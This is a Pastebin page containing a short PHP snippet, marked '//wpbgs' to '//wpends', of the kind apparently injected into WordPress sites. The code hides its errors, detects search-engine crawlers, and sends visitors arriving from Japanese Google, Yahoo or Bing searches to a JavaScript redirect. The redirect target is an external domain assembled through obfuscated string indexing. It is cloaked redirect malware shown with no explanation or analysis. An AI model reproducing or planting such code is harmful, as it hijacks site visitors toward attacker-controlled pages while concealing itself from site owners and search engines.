Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //wpbgs
- @ini_set('display_errors', 0);@set_time_limit(0);$agent= @strtolower($_SERVER['HTTP_USER_AGENT']);$iszz = false;
- if (!empty($agent)) {$spiderSite= array("Googlebot","Mediapartners-Google","Adsbot-Google","Yahoo!","Yahoo Slurp","bingbot","MSNBot");foreach($spiderSite as $val) {$str = strtolower($val);if (strpos($agent, $str) !== false){$iszz = true;}}
- }
- $temp = 'feji323or3j2or4j56io';$temp2 = 'pg.ejp8i323or3o';$temp3 = 'a1faeji323';$temp4 = 'cnesj6i323or3j2or4';$tempst = $temp{4};$referer = $_SERVER["HTTP_REFERER"];$russ = '#(google.co.jp|yahoo.co.jp|bing)#i';$referer = $_SERVER["HTTP_REFERER"];
- if(isset($_SERVER["HTTP_REFERER"])){
- $tempst = $tempst % 2;
- $tempdom = $temp4{4}.$temp3{0}.$temp2{0}.$temp3{0}.$temp4{1}.$temp3{1}.$temp4{5}.$temp2{6}.$temp2{2}.$temp4{3}.$temp2{0}.$temp3{0}.$temp4{0}.$temp4{2};
- if(preg_match($russ, $referer) && $iszz == false){echo '<script language="javascript" type="text/javascript">'. PHP_EOL .'window.location.href="http://www.'.$tempdom.'/media/'.$tempst.'.php";'. PHP_EOL .'</script>';die();}
- }
- //wpends
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement